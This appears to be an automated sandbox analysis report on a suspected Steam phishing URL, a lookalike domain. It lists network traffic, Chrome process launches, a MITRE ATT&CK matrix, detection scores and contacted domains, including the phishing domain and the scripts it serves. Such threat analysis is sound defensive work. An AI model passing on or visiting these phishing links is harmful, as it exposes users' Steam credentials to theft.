Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57651 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57908
Source: unknown	Network traffic detected: HTTP traffic on port 57525 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57904
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57901
Source: unknown	Network traffic detected: HTTP traffic on port 57663 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57903
Source: unknown	Network traffic detected: HTTP traffic on port 57493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57618 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57919
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57916
Source: unknown	Network traffic detected: HTTP traffic on port 57927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57912
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57913
Source: unknown	Network traffic detected: HTTP traffic on port 57641 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57910
Source: unknown	Network traffic detected: HTTP traffic on port 57856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57529
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57522
Source: unknown	Network traffic detected: HTTP traffic on port 57665 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57766
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57531
Source: unknown	Network traffic detected: HTTP traffic on port 57562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57532
Source: unknown	Network traffic detected: HTTP traffic on port 57751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57770
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57542
Source: unknown	Network traffic detected: HTTP traffic on port 57728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57785
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57780
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57548
Source: unknown	Network traffic detected: HTTP traffic on port 57601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57549
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57787
Source: unknown	Network traffic detected: HTTP traffic on port 57515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57790
Source: unknown	Network traffic detected: HTTP traffic on port 57807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57792
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57791
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443

Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:57489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:57504 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:57511 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:57524 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:57527 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:57738 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@32/485@52/25

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 --field-trial-handle=1904,i,15395976492508562252,10089100898454168683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/hfjf748934924/geting/put"
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,14189078209068578430,5965546534176929648,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/2248518814943508887
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1948,i,13301017682088754605,4974563853108499840,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 --field-trial-handle=1904,i,15395976492508562252,10089100898454168683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,14189078209068578430,5965546534176929648,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1948,i,13301017682088754605,4974563853108499840,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://sneamcomnnumnlty.com/hfjf748934924/geting/put	14%	Virustotal		Browse

Source	Detection	Scanner	Link
a.nel.cloudflare.com	0%	Virustotal	Browse
fonts.cdnfonts.com	0%	Virustotal	Browse
s.team	0%	Virustotal	Browse
community.cloudflare.steamstatic.com	0%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
api.steampowered.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
recaptcha.net	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
sneamcomnnumnlty.com	1%	Virustotal	Browse
help.steampowered.com	1%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
store.steampowered.com	0%	Virustotal	Browse
store.akamai.steamstatic.com	0%	Virustotal	Browse
login.steampowered.com	0%	Virustotal	Browse
cdn.akamai.steamstatic.com	0%	Virustotal	Browse
15.164.165.52.in-addr.arpa	0%	Virustotal	Browse
community.akamai.steamstatic.com	0%	Virustotal	Browse
shared.akamai.steamstatic.com	0%	Virustotal	Browse
cdn.jsdelivr.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://store.steampowered.com/mobile	0%	URL Reputation	safe
https://support.google.com/recaptcha/#6175971	0%	URL Reputation	safe
https://support.google.com/recaptcha	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://cloud.google.com/contact	0%	URL Reputation	safe
https://steamcommunity.com/chat/group/	0%	Virustotal		Browse
https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png	0%	Virustotal		Browse
https://www.gstatic.c..?/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	0%, Virustotal, Browse	unknown
fonts.cdnfonts.com	172.67.184.158	true	false	0%, Virustotal, Browse	unknown
s.team	104.102.22.125	true	false	0%, Virustotal, Browse	unknown
help.steampowered.com	104.102.49.254	true	false	1%, Virustotal, Browse	unknown
api.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
cdn.akamai.steamstatic.com	2.16.168.12	true	false	0%, Virustotal, Browse	unknown
community.cloudflare.steamstatic.com	172.64.145.151	true	false	0%, Virustotal, Browse	unknown
recaptcha.net	142.250.185.131	true	false	0%, Virustotal, Browse	unknown
steamcommunity.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
code.jquery.com	151.101.130.137	true	false	1%, Virustotal, Browse	unknown
store.steampowered.com	95.101.149.47	true	false	0%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	0%, Virustotal, Browse	unknown
sneamcomnnumnlty.com	104.21.91.169	true	false	1%, Virustotal, Browse	unknown
www.google.com	216.58.206.68	true	false	0%, Virustotal, Browse	unknown
store.akamai.steamstatic.com	95.101.54.105	true	false	0%, Virustotal, Browse	unknown
login.steampowered.com	104.102.49.254	true	false	0%, Virustotal, Browse	unknown
community.akamai.steamstatic.com	2.19.126.223	true	false	0%, Virustotal, Browse	unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false	0%, Virustotal, Browse	unknown
shared.akamai.steamstatic.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
cdn.jsdelivr.net	unknown	unknown	false	0%, Virustotal, Browse	unknown
200.163.202.172.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png	false	0%, Virustotal, Browse	unknown
https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english	false		unknown
https://store.akamai.steamstatic.com/public/javascript/applications/store/sales_english-json.js?contenthash=3e3b65fabec655df899a	false		unknown
https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	false		unknown
https://cdn.akamai.steamstatic.com/store/about/icon-broadcasts.svg	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg	false		unknown
https://store.akamai.steamstatic.com/public/images/mobile/steam_mobile_qr_code.png	false		unknown
https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=6PFqex5UPprb&l=english	false		unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_hardware_pt2.png?v=2	false		unknown
https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs	false		unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_community.png	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg	false		unknown
https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=v36TDHXA_sAC&l=english	false		unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg	false		unknown
https://store.steampowered.com/favicon.ico	false		unknown
https://help.steampowered.com/ru/public/shared/javascript/legacy_web/main.js?v=uR8sIBCNvNhG	false		unknown
https://store.akamai.steamstatic.com/public/images/x9x9.gif	false		unknown
https://s.team/q/1/2248518814943508887	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015	false		unknown
https://cdn.akamai.steamstatic.com/store/about/cta_hero_steamworks_pt1.png	false		unknown
https://sneamcomnnumnlty.com/721d7f512e0801585d0204401a0e60575729722f73.js	false		unknown
https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1	false		unknown
https://help.steampowered.com/public/shared/images/header/btn_header_installsteam_download.png?v=1	false		unknown
https://sneamcomnnumnlty.com/721d7f512e0801585d020440.js	false		unknown
https://store.steampowered.com/about/qrlogin/1/2248518814943508887	false		unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff	false		unknown
https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://steamcommunity.com/chat/group/	chromecache_347.2.dr, chromecache_359.2.dr, chromecache_236.2.dr, chromecache_277.2.dr	false	0%, Virustotal, Browse	unknown
https://store.steampowered.com/login/?redir=login%2F%3F14__global-header&redir_ssl=1&snr=1_60_4__glo	chromecache_228.2.dr	false		unknown
https://checkout.steampowered.com/checkout/submitproofofpurchase	chromecache_219.2.dr	false		unknown
https://store.steampowered.com/account/ajaxcreatewalletandcheckfunds/	chromecache_416.2.dr, chromecache_399.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=Rzrd3uCdRpEQ&l=english	chromecache_228.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/buttons/icons_16.png?v=5);	chromecache_480.2.dr, chromecache_301.2.dr	false		unknown
https://help.steampowered.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015	chromecache_264.2.dr	false		unknown
https://github.com/jquery/jquery-color	chromecache_261.2.dr	false		unknown
https://store.steampowered.com/login/?redir=about%2Fqrlogin%2F1%2F2248518814943508887&redir_ssl=1&sn	chromecache_201.2.dr	false		unknown
https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications	chromecache_219.2.dr	false		unknown
https://store.steampowered.com/app/2679460/Metaphor_ReFantazio/	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/th/	chromecache_381.2.dr	false		unknown
https://support.google.com/recaptcha/#6175971	chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/public/shared/images/community/levels_mandala_7-8.png?v=2	chromecache_330.2.dr	false		unknown
https://cdn.akamai.steamstatic.com/store/about/icon-earlyaccess.svg	chromecache_201.2.dr	false		unknown
https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)	chromecache_214.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015	chromecache_313.2.dr, chromecache_338.2.dr	false		unknown
http://api.jqueryui.com/size-effect/	chromecache_261.2.dr	false		unknown
https://support.google.com/recaptcha	chromecache_240.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/wizard/HelpWithWalletCode	chromecache_416.2.dr, chromecache_399.2.dr	false		unknown
https://steamcommunity.com/chat/	chromecache_347.2.dr, chromecache_359.2.dr, chromecache_236.2.dr, chromecache_277.2.dr	false		unknown
https://cdn.akamai.steamstatic.com/client/installer/steam.dmg	chromecache_201.2.dr	false		unknown
https://store.steampowered.com/privacy_agreement/?snr=1_14_qrlogin__global-responsive-menu	chromecache_201.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/shared/images/responsive/local_menu_hamburger.png	chromecache_366.2.dr	false		unknown
https://help.steampowered.com/vi/	chromecache_381.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/community/levels_mandala_1-2.png?v=2	chromecache_330.2.dr	false		unknown
https://help.steampowered.com/de/	chromecache_381.2.dr	false		unknown
https://help.steampowered.com/fi/	chromecache_381.2.dr	false		unknown
https://cdn.akamai.steamstatic.com/store/about/icon-steamworkshop.svg	chromecache_201.2.dr	false		unknown
https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer	chromecache_463.2.dr, chromecache_385.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/popups/btn_arrow_down.png	chromecache_330.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/community/levels_geo_9-10.png?v=2	chromecache_330.2.dr	false		unknown
https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/3070070/capsule_231x87.jpg?t=1727	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/community/levels_books.png	chromecache_330.2.dr	false		unknown
https://store.steampowered.com/friends/recommendgame	chromecache_205.2.dr	false		unknown
https://help.steampowered.com/ru/login/logout/	chromecache_219.2.dr	false		unknown
https://store.steampowered.com/about/?snr=1_14_qrlogin__global-header	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/ru/login/getrsakey/	chromecache_219.2.dr	false		unknown
https://store.akamai.steamstatic.com/public/css/v6/store.css?v=BoPNbbsndIQb&l=english	chromecache_201.2.dr	false		unknown
https://store.steampowered.com/?snr=1_14_qrlogin__global-header	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/AjaxCancelSteamChinaAccessDeletion/	chromecache_219.2.dr	false		unknown
https://store.steampowered.com/news/?snr=1_14_qrlogin__global-responsive-menu	chromecache_201.2.dr	false		unknown
https://help.steampowered.com/public/shared/images/community/levels_airelement_9-10.png	chromecache_330.2.dr	false		unknown
http://www.robertpenner.com/easing)	chromecache_261.2.dr	false		unknown
https://help.steampowered.com/ru/wizard/HelpWithSteamHardware	chromecache_381.2.dr	false		unknown
https://store.steampowered.com/account/cookiepreferences/	chromecache_388.2.dr, chromecache_467.2.dr	false		unknown
https://help.steampowered.com/en/	chromecache_381.2.dr, chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	false	URL Reputation: safe	unknown
https://help.steampowered.com/ru/wizard/AjaxRefundRequestForm	chromecache_219.2.dr	false		unknown
